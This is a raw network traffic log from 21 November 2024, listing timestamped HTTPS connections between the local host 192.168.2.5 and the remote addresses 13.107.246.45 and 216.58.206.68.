Nov 21, 2024 14:27:53.152754068 CET	49975	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.152776003 CET	443	49975	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.152789116 CET	443	49975	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.155078888 CET	443	49974	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.155148983 CET	49974	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.155181885 CET	49974	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.155201912 CET	443	49974	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.155214071 CET	49974	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.155220032 CET	443	49974	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.158008099 CET	49979	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.158075094 CET	443	49979	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.158163071 CET	49979	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.158282995 CET	49979	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.158310890 CET	443	49979	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.394067049 CET	443	49977	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.394797087 CET	49977	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.394876003 CET	443	49977	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.395271063 CET	49977	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.395287991 CET	443	49977	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.605628014 CET	443	49975	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.608876944 CET	443	49975	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.608927965 CET	443	49975	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.609020948 CET	49975	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.609021902 CET	49975	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.609062910 CET	49975	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.609085083 CET	443	49975	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.609098911 CET	49975	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.609106064 CET	443	49975	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.616626978 CET	49980	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.616661072 CET	443	49980	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.616751909 CET	49980	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.616908073 CET	49980	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.616926908 CET	443	49980	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.621699095 CET	443	49976	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.624651909 CET	443	49976	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.624820948 CET	49976	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.624886036 CET	49976	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.624907017 CET	443	49976	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.624922037 CET	49976	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.624927998 CET	443	49976	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.626967907 CET	49981	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.627074003 CET	443	49981	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.627152920 CET	49981	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.627273083 CET	49981	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.627296925 CET	443	49981	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.819483995 CET	443	49978	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.820043087 CET	49978	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.820127964 CET	443	49978	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.820475101 CET	49978	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.820489883 CET	443	49978	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.846530914 CET	443	49977	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.849925995 CET	443	49977	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.849998951 CET	49977	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.850047112 CET	443	49977	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.850114107 CET	443	49977	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.850146055 CET	49977	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.850197077 CET	443	49977	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.850228071 CET	49977	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.850229025 CET	49977	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.850250006 CET	443	49977	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.850272894 CET	443	49977	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.853468895 CET	49982	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.853498936 CET	443	49982	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.853576899 CET	49982	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.853908062 CET	49982	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.853920937 CET	443	49982	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:54.271753073 CET	443	49978	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:54.275845051 CET	443	49978	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:54.275929928 CET	49978	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:54.276040077 CET	49978	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:54.276041031 CET	49978	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:54.276082993 CET	443	49978	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:54.276109934 CET	443	49978	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:54.278673887 CET	49983	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:54.278762102 CET	443	49983	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:54.278848886 CET	49983	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:54.279000044 CET	49983	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:54.279031992 CET	443	49983	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.029689074 CET	443	49979	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.030242920 CET	49979	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:55.030287027 CET	443	49979	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.030766964 CET	49979	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:55.030778885 CET	443	49979	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.396768093 CET	443	49980	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.397360086 CET	49980	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:55.397387981 CET	443	49980	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.397860050 CET	49980	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:55.397866011 CET	443	49980	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.505136013 CET	443	49979	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.506309986 CET	443	49981	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.506921053 CET	49981	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:55.506968975 CET	443	49981	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.507277966 CET	49981	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:55.507286072 CET	443	49981	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.508131981 CET	443	49979	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.508208036 CET	49979	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:55.508284092 CET	49979	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:55.508284092 CET	49979	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:55.508321047 CET	443	49979	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.508343935 CET	443	49979	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.511188984 CET	49984	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:55.511250019 CET	443	49984	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.511504889 CET	49984	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:55.511504889 CET	49984	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:55.511575937 CET	443	49984	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.640492916 CET	443	49982	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.640954971 CET	49982	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:55.640970945 CET	443	49982	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.641424894 CET	49982	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:55.641431093 CET	443	49982	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.843360901 CET	443	49980	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.846410036 CET	443	49980	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.846461058 CET	443	49980	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.846467972 CET	49980	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:55.846513987 CET	49980	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:55.846575975 CET	49980	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:55.846590996 CET	443	49980	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.846602917 CET	49980	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:55.846607924 CET	443	49980	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.849596977 CET	49985	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:55.849615097 CET	443	49985	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.849693060 CET	49985	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:55.849843025 CET	49985	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:55.849854946 CET	443	49985	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.989799976 CET	443	49981	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.989854097 CET	443	49981	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.989929914 CET	49981	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:55.990144968 CET	49981	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:55.990192890 CET	443	49981	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.990223885 CET	49981	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:55.990240097 CET	443	49981	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.993175983 CET	49986	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:55.993226051 CET	443	49986	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:55.993319988 CET	49986	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:55.993525028 CET	49986	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:55.993557930 CET	443	49986	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:56.063270092 CET	443	49983	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:56.063790083 CET	49983	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:56.063864946 CET	443	49983	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:56.064246893 CET	49983	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:56.064260006 CET	443	49983	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:56.087898970 CET	443	49982	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:56.091458082 CET	443	49982	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:56.091643095 CET	49982	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:56.091643095 CET	49982	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:56.091643095 CET	49982	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:56.094194889 CET	49987	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:56.094219923 CET	443	49987	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:56.094289064 CET	49987	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:56.094420910 CET	49987	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:56.094432116 CET	443	49987	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:56.394575119 CET	49982	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:56.394606113 CET	443	49982	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:56.509248018 CET	443	49983	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:56.509322882 CET	443	49983	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:56.509447098 CET	443	49983	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:56.509566069 CET	49983	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:56.509824038 CET	49983	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:56.509824038 CET	49983	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:56.509824038 CET	49983	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:56.512821913 CET	49988	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:56.512906075 CET	443	49988	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:56.513024092 CET	49988	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:56.513183117 CET	49988	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:56.513210058 CET	443	49988	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:56.816235065 CET	49983	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:56.816303968 CET	443	49983	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:57.404633999 CET	443	49984	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:57.405215025 CET	49984	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:57.405267000 CET	443	49984	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:57.405878067 CET	49984	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:57.405890942 CET	443	49984	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:57.769479036 CET	443	49985	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:57.770051003 CET	49985	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:57.770071983 CET	443	49985	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:57.770479918 CET	49985	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:57.770486116 CET	443	49985	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:57.787723064 CET	443	49964	216.58.206.68	192.168.2.5
Nov 21, 2024 14:27:57.787889957 CET	443	49964	216.58.206.68	192.168.2.5
Nov 21, 2024 14:27:57.788149118 CET	49964	443	192.168.2.5	216.58.206.68
Nov 21, 2024 14:27:57.824512959 CET	443	49986	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:57.825105906 CET	49986	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:57.825190067 CET	443	49986	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:57.825376034 CET	49986	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:57.825390100 CET	443	49986	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:57.882642031 CET	443	49984	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:57.882805109 CET	443	49984	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:57.883008003 CET	49984	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:57.883008957 CET	49984	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:57.883008957 CET	49984	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:57.885740995 CET	49989	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:57.885816097 CET	443	49989	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:57.885904074 CET	49989	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:57.886063099 CET	49989	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:57.886096001 CET	443	49989	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:57.961879969 CET	443	49987	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:57.962342978 CET	49987	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:57.962363958 CET	443	49987	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:57.962804079 CET	49987	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:57.962812901 CET	443	49987	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:58.191203117 CET	49984	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.191271067 CET	443	49984	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:58.228053093 CET	443	49985	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:58.231220007 CET	443	49985	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:58.231308937 CET	443	49985	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:58.231334925 CET	49985	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.231374025 CET	49985	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.231417894 CET	49985	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.231434107 CET	443	49985	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:58.231446028 CET	49985	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.231452942 CET	443	49985	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:58.234167099 CET	49990	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.234252930 CET	443	49990	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:58.234344006 CET	49990	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.234469891 CET	49990	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.234499931 CET	443	49990	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:58.270073891 CET	443	49986	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:58.273161888 CET	443	49986	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:58.273228884 CET	49986	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.273271084 CET	49986	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.273293972 CET	443	49986	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:58.273308992 CET	49986	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.273315907 CET	443	49986	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:58.276128054 CET	49991	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.276212931 CET	443	49991	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:58.276293039 CET	49991	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.276443005 CET	49991	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.276475906 CET	443	49991	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:58.313747883 CET	443	49988	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:58.314618111 CET	49988	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.314661980 CET	443	49988	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:58.315073967 CET	49988	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.315087080 CET	443	49988	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:58.417617083 CET	443	49987	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:58.422203064 CET	443	49987	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:58.422326088 CET	49987	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.422487974 CET	49987	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.422506094 CET	443	49987	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:58.422518015 CET	49987	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.422524929 CET	443	49987	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:58.424998045 CET	49992	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.425039053 CET	443	49992	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:58.425108910 CET	49992	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.425223112 CET	49992	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.425239086 CET	443	49992	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:58.766442060 CET	443	49988	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:58.766511917 CET	443	49988	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:58.766617060 CET	443	49988	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:58.766706944 CET	49988	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.767127991 CET	49988	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.767127991 CET	49988	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.767128944 CET	49988	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.770366907 CET	49993	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.770405054 CET	443	49993	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:58.770531893 CET	49993	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.770910978 CET	49964	443	192.168.2.5	216.58.206.68
Nov 21, 2024 14:27:58.770930052 CET	49993	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:58.770936012 CET	443	49964	216.58.206.68	192.168.2.5
Nov 21, 2024 14:27:58.770951033 CET	443	49993	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:59.081756115 CET	49988	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:59.081804037 CET	443	49988	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:59.777286053 CET	443	49989	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:59.777873993 CET	49989	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:59.777934074 CET	443	49989	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:59.778500080 CET	49989	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:59.778512001 CET	443	49989	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.043299913 CET	443	49990	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.044006109 CET	49990	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.044023991 CET	443	49990	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.044651031 CET	49990	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.044657946 CET	443	49990	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.177401066 CET	443	49991	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.178042889 CET	49991	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.178081036 CET	443	49991	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.178667068 CET	49991	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.178679943 CET	443	49991	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.231892109 CET	443	49989	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.235193014 CET	443	49989	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.235300064 CET	49989	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.235338926 CET	49989	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.235338926 CET	49989	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.235358000 CET	443	49989	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.235368013 CET	443	49989	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.239031076 CET	49994	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.239059925 CET	443	49994	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.239285946 CET	49994	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.239567995 CET	49994	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.239582062 CET	443	49994	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.275727987 CET	443	49992	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.276213884 CET	49992	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.276228905 CET	443	49992	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.276913881 CET	49992	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.276921034 CET	443	49992	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.486499071 CET	443	49990	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.490573883 CET	443	49990	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.490674019 CET	49990	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.490756989 CET	49990	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.490756989 CET	49990	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.490801096 CET	443	49990	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.490829945 CET	443	49990	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.493875027 CET	49995	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.493902922 CET	443	49995	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.493980885 CET	49995	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.494162083 CET	49995	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.494174004 CET	443	49995	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.553242922 CET	443	49993	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.553808928 CET	49993	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.553833961 CET	443	49993	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.554425955 CET	49993	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.554430962 CET	443	49993	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.620624065 CET	443	49991	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.623970032 CET	443	49991	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.624043941 CET	443	49991	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.624059916 CET	49991	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.624126911 CET	49991	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.624212980 CET	49991	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.624228001 CET	443	49991	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.624245882 CET	49991	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.624252081 CET	443	49991	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.627350092 CET	49996	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.627382994 CET	443	49996	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.627470970 CET	49996	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.627636909 CET	49996	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.627650023 CET	443	49996	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.718178988 CET	443	49992	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.721280098 CET	443	49992	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.721383095 CET	49992	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.721416950 CET	49992	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.721440077 CET	443	49992	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.721487045 CET	49992	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.721494913 CET	443	49992	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.725496054 CET	49997	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.725534916 CET	443	49997	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.725613117 CET	49997	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.725790977 CET	49997	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:00.725799084 CET	443	49997	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.990540981 CET	443	49993	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.993006945 CET	443	49993	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.993057013 CET	443	49993	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:00.993062019 CET	49993	443	192.168.2.5	13.107.246.45
